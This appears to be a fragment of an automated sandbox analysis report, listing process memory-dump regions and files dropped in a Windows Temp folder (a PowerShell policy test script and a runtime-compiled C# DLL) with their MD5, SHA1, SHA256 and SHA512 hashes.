memory/3248-10-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-13-0x00007FFBCE540000-0x00007FFBCE550000-memory.dmp
memory/3248-8-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-6-0x00007FFBD0CF0000-0x00007FFBD0D00000-memory.dmp
memory/3248-16-0x00007FFBCE540000-0x00007FFBCE550000-memory.dmp
memory/3248-15-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-14-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-17-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-19-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-20-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-18-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-5-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-4-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-3-0x00007FFBD0CF0000-0x00007FFBD0D00000-memory.dmp
memory/3248-2-0x00007FFBD0CF0000-0x00007FFBD0D00000-memory.dmp
memory/3248-30-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-29-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vhcdfkzo.zlc.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2760-33-0x000001B8BC960000-0x000001B8BC982000-memory.dmp
\??\c:\Users\Admin\AppData\Local\Temp\fz5m5l4m\fz5m5l4m.cmdline
| MD5 | 7d8a998c5b34aec3dc91cafa05c53151 |
| SHA1 | 3b75b912838861f37fe4205dee89978a7258224e |
| SHA256 | 539704862f38a2b1a7f09aade9b8838bcd12185548df9af97f0149286bf7bd80 |
| SHA512 | f244cbe12931bf73c66b75260b037f3fd71d7627bcb6f4479a700a990699c3e8cc2984beaa23e7cde35c6bd87390b772d7a5792ec9a12f6e509de4620061db2b |
\??\c:\Users\Admin\AppData\Local\Temp\fz5m5l4m\fz5m5l4m.0.cs
| MD5 | f4dd5c682eb7b3b679f084261bfc7c4c |
| SHA1 | 70f75d7a4e42c185eb09139ed3c6f7338a2219c2 |
| SHA256 | 2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319 |
| SHA512 | 8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d |
\??\c:\Users\Admin\AppData\Local\Temp\fz5m5l4m\CSC46B605F05C0F4918937378D688A97239.TMP
| MD5 | c6dce444bf55f21356e03a773307d068 |
| SHA1 | 8e2cdd94195b2abd4de964df25ff460f85b3d961 |
| SHA256 | 5d3cc3abc75f9b49cb9a62369e26ba5446e6dea75adfe993b5a38be2859f1a82 |
| SHA512 | 764e47f2d499982e452ad4255f2c14c308ac58d4546187148edab0080e834b0f9ef4bc1e54b21101d7368ab3ba7eb6ee6d33cf1060bd3f53d55d0e3bec81fe07 |
C:\Users\Admin\AppData\Local\Temp\RESE290.tmp
| MD5 | 9c796bf758e8597b8938d3348daab8b6 |
| SHA1 | 8a58a301c2ba43fa5dde07494cf0720273c2c179 |
| SHA256 | 67f480c13e65c81c768476fbb30a70e3afe3148157abcad5bfc26bf7fb43a765 |
| SHA512 | 9de44d5c9ea5fe13f158ef6c436a0fb1e700c8d0568e78d88649bf48cf4bc6cedee583e74f997794ae520c8e502a60515d45834321def7a26215bcc027d672a2 |
C:\Users\Admin\AppData\Local\Temp\fz5m5l4m\fz5m5l4m.dll
| MD5 | fc3fa9fa3964cd63f2593dde90686223 |
| SHA1 | 8f4720b0c9708326c5b1d0fafeed666a51ccf515 |
| SHA256 | e591249684a2324ef6236c2eea78bb9baf58c575589dc5e36a152599de397072 |
| SHA512 | 46a46170e44d0494d65720fdb0efed7f28eefb15ae1287da3a7dd9b571c83cf3f3690eb769f2d3208fcc0763c4c3a482b55258ee49e560a0a924534770a6c230 |
memory/2760-58-0x000001B8BCCD0000-0x000001B8BCCD8000-memory.dmp
memory/3248-62-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-63-0x00007FFC10D0D000-0x00007FFC10D0E000-memory.dmp
memory/2760-64-0x000001B8BD290000-0x000001B8BDD0E000-memory.dmp
memory/2760-65-0x000001B8BE790000-0x000001B8BF276000-memory.dmp
memory/2760-67-0x000001B8BE790000-0x000001B8BF276000-memory.dmp
memory/2760-66-0x000001B8BE790000-0x000001B8BF276000-memory.dmp
memory/2760-68-0x000001B8BE790000-0x000001B8BF276000-memory.dmp
memory/3248-69-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-73-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/2760-76-0x000001B8BE790000-0x000001B8BF276000-memory.dmp